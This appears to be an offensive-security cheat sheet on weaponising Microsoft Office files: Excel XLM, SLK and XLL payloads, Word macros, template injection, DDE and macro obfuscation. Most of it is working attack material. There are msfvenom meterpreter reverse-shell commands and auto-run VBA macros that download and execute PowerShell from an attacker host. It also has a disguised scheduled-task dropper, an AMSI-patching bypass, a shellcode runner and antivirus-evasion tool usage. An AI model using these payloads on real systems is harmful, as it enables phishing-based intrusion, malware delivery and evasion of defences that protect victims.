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Office - Attacks

Summary

Office Products Features

Overview of features supported by different Office products

Office Default Passwords

By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "VelvetSweatshop", and it could be used to open any file that did not have a password set.

If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31". - 2.4.2.3 Binary Document Write Protection Method 3

Product Password Supported Formats
Excel VelvetSweatshop all Excel formats
PowerPoint 01Hannes Ruescher/01 .pps .ppt

Excel

XLSM - Hot Manchego

When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.

  • https://github.com/FortyNorthSecurity/hot-manchego
Generate CS Macro and save it to Windows as vba.txt
PS> New-Item blank.xlsm
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt

XLM - Macrome

XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.

  • https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip
  • https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip
  • https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip
# NOTE: The payload cannot contains NULL bytes.

# Default calc
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00'  -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin

# For VBA Macro
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop

When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of VelvetSweatshop is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.

XLM Excel 4.0 - SharpShooter

  • https://github.com/mdsecactivebreach/SharpShooter
# Options
-rawscfile <path>  Path to raw shellcode file for stageless payloads
--scfile <path>    Path to shellcode file as CSharp byte array
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test

# Creation of a VBA Macro
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

# Creation of an Excel 4.0 SLK Macro Enabled Document
~# /!\ The shellcode cannot contain null bytes
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee

XLM Excel 4.0 - EXCELntDonut

  • XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
  • AMSI has no visibility into XLM macros (for now)
  • Anti-virus struggles with XLM (for now)

  • XLM macros can access the Win32 API (virtualalloc, createthread, ...)

  • Open an Excel Workbook.

  • Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
  • Open your EXCELntDonut output file in a text editor and copy everything.
  • Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
  • At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
  • Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
  • Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
  • To enable auto-execution, we need to rename cell A1 to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1" just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.

⚠ If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1

git clone https://github.com/FortyNorthSecurity/EXCELntDonut

-f path to file containing your C# source code (exe or dll)
-c ClassName where method that you want to call lives (dll)
-m Method containing your executable payload (dll)
-r References needed to compile your C# code (ex: -r 'System.Management')
-o output filename
--sandbox Perform basic sandbox checks. 
--obfuscate Perform basic macro obfuscation. 

# Fork
git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin

XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md

XLM Excel 4.0 - EXEC

  1. Right Click to the current sheet
  2. Insert a Macro IntL MS Excel 4.0
  3. Add the EXEC macro 
    =EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')")
=halt()
  4. Rename cell to Auto_open
  5. Hide your macro worksheet by a right mouse click on the sheet name Macro1 and selecting Hide

SLK - EXEC

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

XLL - EXEC

An "XLL" file is a type of file used primarily with Microsoft Excel. It stands for "Excel Add-In Library" and is a dynamic link library (DLL) specifically designed to be loaded into Microsoft Excel. These files extend Excel's functionality by adding extra features, functions, or capabilities that are not available in the standard installation of Excel.

⚠ Excel is blocking untrusted XLL add-ins by default

  • Compile with: cl.exe notepadXLL.c /LD /o notepad.xll 
    #include <Windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                    DWORD  ul_reason_for_call,
                    LPVOID lpReserved
                    )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Word

DOCM - Metasploit

use exploit/multi/fileformat/office_word_macro
set payload windows/meterpreter/reverse_http
set LHOST 10.10.10.10
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
set FILENAME Financial2021.docm
exploit -j

DOCM - Download and Execute

Detected by Defender (AMSI)

Sub Execute()
Dim payload
payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');"
Call Shell(payload, vbHide)
End Sub
Sub Document_Open()
Execute
End Sub

DOCM - Macro Creator

  • https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator
# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body
# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o
# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion:
C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e

DOCM - C# converted to Office VBA macro

A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.

https://github.com/trustedsec/unicorn

python unicorn.py payload.cs cs macro

DOCM - VBA Wscript

https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office

Sub parent_change()
    Dim objOL
    Set objOL = CreateObject("Outlook.Application")
    Set shellObj = objOL.CreateObject("Wscript.Shell")
    shellObj.Run("notepad.exe")
End Sub
Sub AutoOpen()
    parent_change
End Sub
Sub Auto_Open()
    parent_change
End Sub

CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"

DOCM - VBA Shell Execute Comment

Set your command payload inside the Comment metadata of the document.

Sub beautifulcomment()
    Dim p As DocumentProperty
    For Each p In ActiveDocument.BuiltInDocumentProperties
        If p.Name = "Comments" Then
            Shell (p.Value)
        End If
    Next
End Sub

Sub AutoExec()
    beautifulcomment
End Sub

Sub AutoOpen()
    beautifulcomment
End Sub

DOCM - VBA Spawning via svchost.exe using Scheduled Task

Sub AutoOpen()
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Dim td: Set td = service.NewTask(0)
    td.RegistrationInfo.Author = "Kaspersky Corporation"
    td.settings.StartWhenAvailable = True
    td.settings.Hidden = False
    Dim triggers: Set triggers = td.triggers
    Dim trigger: Set trigger = triggers.Create(1)
    Dim startTime: ts = DateAdd("s", 30, Now)
    startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
    trigger.StartBoundary = startTime
    trigger.ID = "TimeTriggerId"
    Dim Action: Set Action = td.Actions.Create(0)
    Action.Path = "C:\Windows\System32\powershell.exe"
    Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
    Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
End Sub
Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"

DOCM - WMI COM functions

Basic WMI exec (detected by Defender) : r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)

Sub wmi_exec()
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
    Set objProc = objWMIService.Get("Win32_Process")
    Set procStartConfig = objStartUp.SpawnInstance_
    procStartConfig.ShowWindow = 1
    objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
End Sub
  • https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
  • https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2
Sub ASR_bypass_create_child_process_rule5()
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
    Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
    objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID
End Sub

Sub AutoExec()
    ASR_bypass_create_child_process_rule5
End Sub

Sub AutoOpen()
    ASR_bypass_create_child_process_rule5
End Sub

Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0

DOCM/XLM - Macro Pack - Macro and DDE

Only the community version is available online.

# Options
-G, --generate=OUTPUT_FILE_PATH. Generates a file. 
-t, --template=TEMPLATE_NAME    Use code template already included in MacroPack
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)

# Execute a command
echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl

# Download and execute a file
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls

# Meterpreter reverse TCP template using MacroMeter by Cn33liz
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm

# Drop and execute embedded file
macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs

# Obfuscate the vba file generated by msfvenom and put result in a new vba file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

# Obfuscate Empire stager vba file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm

# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 

# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx

# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl

# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV).
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --autopack --keep-alive  -G  out.docm

# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --autopack --trojan -G  hotpics.pptm

# PRO: Generate an HTA payload able to run a shellcode via Excel injection
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE  --run-in-excel -o -G samples\nicepic.hta
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk

# PRO: XLM Injection
echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel

# PRO: ShellCode Exec - Heap Injection, AlternativeInjection
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc

# PRO: More shellcodes
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive
echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls

DOCM - BadAssMacros

C# based automated Malicous Macro Generator.

  • https://github.com/Inf0secRabbit/BadAssMacros
BadAssMacros.exe -h

# Create VBA for classic shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt

# Create VBA for indirect shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>

# List modules inside Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l

# Purge Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>

DOCM - CACTUSTORCH VBA Module

CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript

  • https://github.com/mdsecactivebreach/CACTUSTORCH
  • https://github.com/tyranid/DotNetToJScript/
  • CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY

  • CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ

  • Import .cna in Cobalt Strike

  • Generate a new VBA payload from the CACTUSTORCH menu
  • Download DotNetToJscript
  • Compile it
    • DotNetToJscript.exe - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
    • ExampleAssembly.dll - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
  • Execute DotNetToJscript.exe and supply it with the ExampleAssembly.dll, specify the output file and the output type 
    DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
  • Use the generated code to replace the hardcoded binary in CactusTorch

DOCM - MMG with Custom DL + Exec

  1. Custom Download in first Macro to "C:\Users\Public\beacon.exe"
  2. Create a custom binary execute using MMG
  3. Merge both Macro
git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
python MMG.py configs/generic-cmd.json malicious.vba
{
    "description": "Generic command exec payload\nEvasion technique set to none",
    "template": "templates/payloads/generic-cmd-template.vba",
    "varcount": 152,
    "encodingoffset": 5,
    "chunksize": 180,
    "encodedvars":  {},
    "vars":     [],
    "evasion":  ["encoder"],
    "payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe"
}

Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
    On Error GoTo Failed
    DownloadFileA = False
    'As directory must exist, this is a check
    If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
    Dim returnValue As Long
    returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0)
    'If return value is 0 and the file exist, then it is considered as downloaded correctly
    DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0)
    Exit Function

Failed:
End Function

Sub AutoOpen()
    DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub


Sub Auto_Open()
    DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub

DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro

Go to Developer tab on ribbon -> Insert -> More Controls -> Microsoft InkPicture Control 

Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus)
End Sub

VBA Obfuscation

VBA Purging

VBA Stomping: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.

⚠ VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.

OfficePurge

  • https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe
OfficePurge.exe -d word -f .\malicious.doc -m NewMacros
OfficePurge.exe -d excel -f .\payroll.xls -m Module1
OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument
OfficePurge.exe -d word -f .\malicious.doc -l

EvilClippy

Evil Clippy uses the OpenMCDF library to manipulate CFBF files. Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows. If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.

# OSX/Linux
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs 
# Windows
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs 

EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc

# make macro code unaccessible is to mark the project as locked and unviewable: -u
# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag.
EvilClippy.exe -r macrofile.doc

VBA - Offensive Security Template

  • Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba
  • Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process
  • RunPE - https://github.com/itm4n/VBA-RunPE
  • Spoof Parent - https://github.com/py7hagoras/OfficeMacro64
  • AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba
  • amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3
  • VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba

VBA - AMSI

The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/

⚠ It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).

The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro

  • AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub Document_Open()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr

    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6

End Sub

DOCX - Template Injection

⚠ Does not require "Enable Macro"

Remote Template

  1. A malicious macro is saved in a Word template .dotm file
  2. Benign .docx file is created based on one of the default MS Word Document templates
  3. Document from step 2 is saved as .docx
  4. Document from step 3 is renamed to .zip
  5. Document from step 4 gets unzipped
  6. .\word_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb). 
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships>
  7. File gets zipped back up again and renamed to .docx

Template Injections Tools

  • https://github.com/JohnWoodman/remoteInjector
  • https://github.com/ryhanson/phishery
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!

DOCX - DDE

  • Insert > QuickPart > Field
  • Right Click > Toggle Field Code
  • { DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }

Visual Studio Tools for Office (VSTO)

A VSTO file is a project file created with Visual Studio Tools for Office, a set of development tools provided by Microsoft for building custom add-ins and solutions for Microsoft Office applications. These projects allow developers to enhance the functionality of Office programs like Excel, Word, and Outlook by integrating additional features, automation, and user interface customizations.

  • Visual Studio > Word 2013 and 2016 VSTO Add-in

Office Macro Development

Execute WinAPI

To importe Win32 function we need to use the keyword Private Declare

Private Declare Function <NAME> Lib "<DLL_NAME>" Alias "<FUNCTION_IMPORTED>" (<ByVal/ByRef> <NAME_VAR> As <TYPE>, etc.) As <TYPE>

If we work on 64bit, we need to add the keyword PtrSafe between the keywords Declare and Function Importing the GetUserNameA from advapi32.dll: 

Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long

GetUserNameA prototype in C: 

BOOL GetUserNameA(
  LPSTR   lpBuffer,
  LPDWORD pcbBuffer
);

Example with a simple Shellcode Runner

Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Sub WinAPI()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    buf = Array(252, ...)
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub

References